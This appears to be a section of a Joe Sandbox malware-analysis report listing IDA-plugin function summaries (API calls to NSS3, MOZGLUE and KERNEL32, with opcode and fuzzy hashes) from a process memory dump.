Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 81504384a110734a6d99dca290bf8665e2f843562c98ea0e8f626e4016fb8207
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 4B115B76A04315A7E71099A5BD98F17737DDB88758F080325FE0483B51E731DC88A7E9

Function 6CA9AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CA93FFF,00000000,?,?,?,?,?,6CA91A1C,00000000,00000000), ref: 6CA9ADA7

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CA93FFF,00000000,?,?,?,?,?,6CA91A1C,00000000,00000000), ref: 6CA9ADB4

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CA93FFF,?,?,?,?,6CA93FFF,00000000,?,?,?,?,?,6CA91A1C,00000000), ref: 6CA9ADD5

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBB94B0,?,?,?,?,?,?,?,?,6CA93FFF,00000000,?), ref: 6CA9ADEC

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA93FFF), ref: 6CA9AE3C

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 0a5ef628d982680f90e9d1b92b97c65e72ca4af04d2bdb5148e06ce94d06173f
Instruction ID: dcb4448c97959110e2314e2c67c1ecc9666001a4e46a6ba2370b76fd08863b42
Opcode Fuzzy Hash: 0a5ef628d982680f90e9d1b92b97c65e72ca4af04d2bdb5148e06ce94d06173f
Instruction Fuzzy Hash: DF117B71E103285BE7109B649C42BBF73F8DF9524CF044229FC5996741FB20EA9D82E2

Function 6CAB8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C), ref: 6CAB8EA2

Part of subcall function 6CADF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CADF854
Part of subcall function 6CADF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CADF868
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CADF882
Part of subcall function 6CADF820: free.MOZGLUE(04C483FF,?,?), ref: 6CADF889
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CADF8A4
Part of subcall function 6CADF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CADF8AB
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CADF8C9
Part of subcall function 6CADF820: free.MOZGLUE(280F10EC,?,?), ref: 6CADF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C), ref: 6CAB8EC3
TlsGetValue.KERNEL32(?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C), ref: 6CAB8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAB8EF1
PR_Unlock.NSS3 ref: 6CAB8F20

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: fd807851a84a0b3e4c32a108e7f96b9be111075024a094e9c50233ab096d7168
Instruction ID: a8c0f18761a284da51b50161ab0346d03bb10536ad6d7f152a977a3a1bdb6904
Opcode Fuzzy Hash: fd807851a84a0b3e4c32a108e7f96b9be111075024a094e9c50233ab096d7168
Instruction Fuzzy Hash: 37214B709096069FD700AF39D584699BBF8FF48318F49456EE898ABB41D730E894CBD2

Function 6CAA8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CAB0710), ref: 6CAA8FF1
PR_CallOnce.NSS3(6CBF2158,6CAA9150,00000000,?,?,?,6CAA9138,?,6CAB0710), ref: 6CAA9029
calloc.MOZGLUE(00000001,00000000,?,?,6CAB0710), ref: 6CAA904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CAB0710), ref: 6CAA9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CAB0710), ref: 6CAA9078

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 945d90c39bccecc04a168cf18695e08acb72e730272aca8165fbe0920c1111a2
Instruction ID: 23b5286829fcba3e2f2770c0fb6381451cba4a88216c19f5939696edaecb7d51
Opcode Fuzzy Hash: 945d90c39bccecc04a168cf18695e08acb72e730272aca8165fbe0920c1111a2
Instruction Fuzzy Hash: 2011E5617001516BE7101AFAAD44A6A72ACEB827EDF580131FD94C7F40F753CDDA83A6

Function 6CABCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CAD1E10: TlsGetValue.KERNEL32 ref: 6CAD1E36
Part of subcall function 6CAD1E10: EnterCriticalSection.KERNEL32(?,?,?,6CAAB1EE,2404110F,?,?), ref: 6CAD1E4B
Part of subcall function 6CAD1E10: PR_Unlock.NSS3 ref: 6CAD1E76

free.MOZGLUE(?,6CABD079,00000000,00000001), ref: 6CABCDA5
PK11_FreeSymKey.NSS3(?,6CABD079,00000000,00000001), ref: 6CABCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CABD079,00000000,00000001), ref: 6CABCDCF
DeleteCriticalSection.KERNEL32(?,6CABD079,00000000,00000001), ref: 6CABCDE2
free.MOZGLUE(?), ref: 6CABCDE9

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395c23e34aa4ed0cbabef91886994f1507c82988bc5418ae7000b9e6f9b5b4c2
Instruction ID: 0869b6ce865bc48502f1d1b267c0e95d645063b69f27f0bc5df429ae73db586a
Opcode Fuzzy Hash: 395c23e34aa4ed0cbabef91886994f1507c82988bc5418ae7000b9e6f9b5b4c2
Instruction Fuzzy Hash: D011A3B6B01115ABDB00AE65EC45E96773CFB0869D7180121F91997E01D732F4B4C7E1

Function 6CAF3D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CAF38A2), ref: 6CAF3DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CAF38A2), ref: 6CAF3DBF

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CAF38A2), ref: 6CAF3DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6CAF38A2), ref: 6CAF3DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6CAF38A2), ref: 6CAF3DF8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: c4bb2890a152b73a49ea7e8edc4c93494bc157213958a308fc1f72830693403d
Instruction ID: 6429b905c58fcd9e3da1553043a6e28e2145b6c44c9cecc2ab8d8f1bda2cc354
Opcode Fuzzy Hash: c4bb2890a152b73a49ea7e8edc4c93494bc157213958a308fc1f72830693403d
Instruction Fuzzy Hash: A001D6B57061223BFB1056756C4AE3B3DACDB41AE8B180635FD39DB680EA61DC1181F2

Function 6CB22CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB22CEC

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB22D02
PR_EnterMonitor.NSS3(?), ref: 6CB22D1F
PR_ExitMonitor.NSS3(?), ref: 6CB22D42
PR_ExitMonitor.NSS3(?), ref: 6CB22D5B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 8aa068aecb84a86fa2e027d5854e9e8082d56c74c9333e7251ad2d1dae27f50e
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 2201E5F19102905BE7309F25FC40AABB3A5EB45368F000525E85DC7710D736F8258693

Function 6CB22D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB22D9C

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB22DB2
PR_EnterMonitor.NSS3(?), ref: 6CB22DCF
PR_ExitMonitor.NSS3(?), ref: 6CB22DF2
PR_ExitMonitor.NSS3(?), ref: 6CB22E0B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 153d6095da219100a19c4756327157f4581d832cdf8ad56ac95619d2f4abdb2d
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: D801A5B59102905BEB309E25FC05BDBB7A5EB41368F440535E85D87B10D736F8258693

Function 6CABAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CABAE42), ref: 6CAA30AA
Part of subcall function 6CAA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA30C7
Part of subcall function 6CAA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAA30E5
Part of subcall function 6CAA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAA3116
Part of subcall function 6CAA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA312B
Part of subcall function 6CAA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAA3154
Part of subcall function 6CAA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CA999FF,?,?,?,?,?,?,?,?,?,6CA92D6B,?), ref: 6CABAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CA999FF,?,?,?,?,?,?,?,?,?,6CA92D6B,?), ref: 6CABAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?,00000000), ref: 6CABAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?,00000000), ref: 6CABAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?), ref: 6CABAEA3

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 40554e8386ee5784695a16724dee70479c2c9ea1da72c6173ab1c9c7663126ea
Instruction ID: 0cef65190d5da41d6437709f6fb30f3d36474497d4d6ba5fb3cb77c6fd746291
Opcode Fuzzy Hash: 40554e8386ee5784695a16724dee70479c2c9ea1da72c6173ab1c9c7663126ea
Instruction Fuzzy Hash: E8018176B0507057E60191ADAD85AAB316E8B8765CB080031F90AEBB02F636DDDD46E2

Function 6CBABDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABDC3
free.MOZGLUE(?,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABDE9
free.MOZGLUE(?,00000000,00000000,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABE21
free.MOZGLUE(00000000,00000000,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABE32

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 7d27c092e67576f77665bb58e0c467ff1d5ffe5aa9fd14bddc2a6fef381c8336
Instruction ID: ce87a0a290bca6d8fd937716b50083e59c443ced5b90e007336778390523946b
Opcode Fuzzy Hash: 7d27c092e67576f77665bb58e0c467ff1d5ffe5aa9fd14bddc2a6fef381c8336
Instruction Fuzzy Hash: D01106B6B052949FEF40DF79E80AB027BB9EB4A754B040029D56AC7710E731A419CF93

Function 6CAF3E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6CAF3975), ref: 6CAF3E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6CAF3975), ref: 6CAF3E38

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6CAF3975), ref: 6CAF3E52
DeleteFileW.KERNEL32(00000000), ref: 6CAF3E5D
free.MOZGLUE(00000000), ref: 6CAF3E64

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: cf51706b9b8e4ad338e920f980502c1c83d282204dd81c8c7ce35a180a812eaf
Instruction ID: 8cf0a38fd5424748264f075ab9aa140cc3a7e5d56ff27b0367f5ad6cb00ab035
Opcode Fuzzy Hash: cf51706b9b8e4ad338e920f980502c1c83d282204dd81c8c7ce35a180a812eaf
Instruction Fuzzy Hash: CFF054B53161123BFB10257A9C49E3739ACDF46DF9F180635BE39C66C1EA50CC5142B2

Function 6CBA7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CBA7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA7C83
malloc.MOZGLUE(00000001), ref: 6CBA7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBA7C9F
PR_GetCurrentThread.NSS3 ref: 6CBA7CAD

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 87639854236b5a7c3b0d791809706f5f6f96658e6c3172f5bdebfc54013156b6
Instruction ID: 445eea80c576afcb97973b6c9a7f5dddc4402ecf6d7f62c5a33fcf89fb6410d5
Opcode Fuzzy Hash: 87639854236b5a7c3b0d791809706f5f6f96658e6c3172f5bdebfc54013156b6
Instruction Fuzzy Hash: 99F0C2F1D182967BEB009FBA9C0994B7B58EF14265B018435EC09D3B00E734E126CAE5

Function 6CBAADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CBAA6D8), ref: 6CBAAE0D
free.MOZGLUE(?), ref: 6CBAAE14
DeleteCriticalSection.KERNEL32(6CBAA6D8), ref: 6CBAAE36
free.MOZGLUE(?), ref: 6CBAAE3D
free.MOZGLUE(00000000,00000000,?,?,6CBAA6D8), ref: 6CBAAE47

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: bbc405c7ce6882ec95cda8fb4cfaad33f2aa0f25570938e5f88fcd7f159e6abf
Instruction ID: 22b727db1896211446741404c43edd33a62c09a701ec3f0b34a18ed200d34279
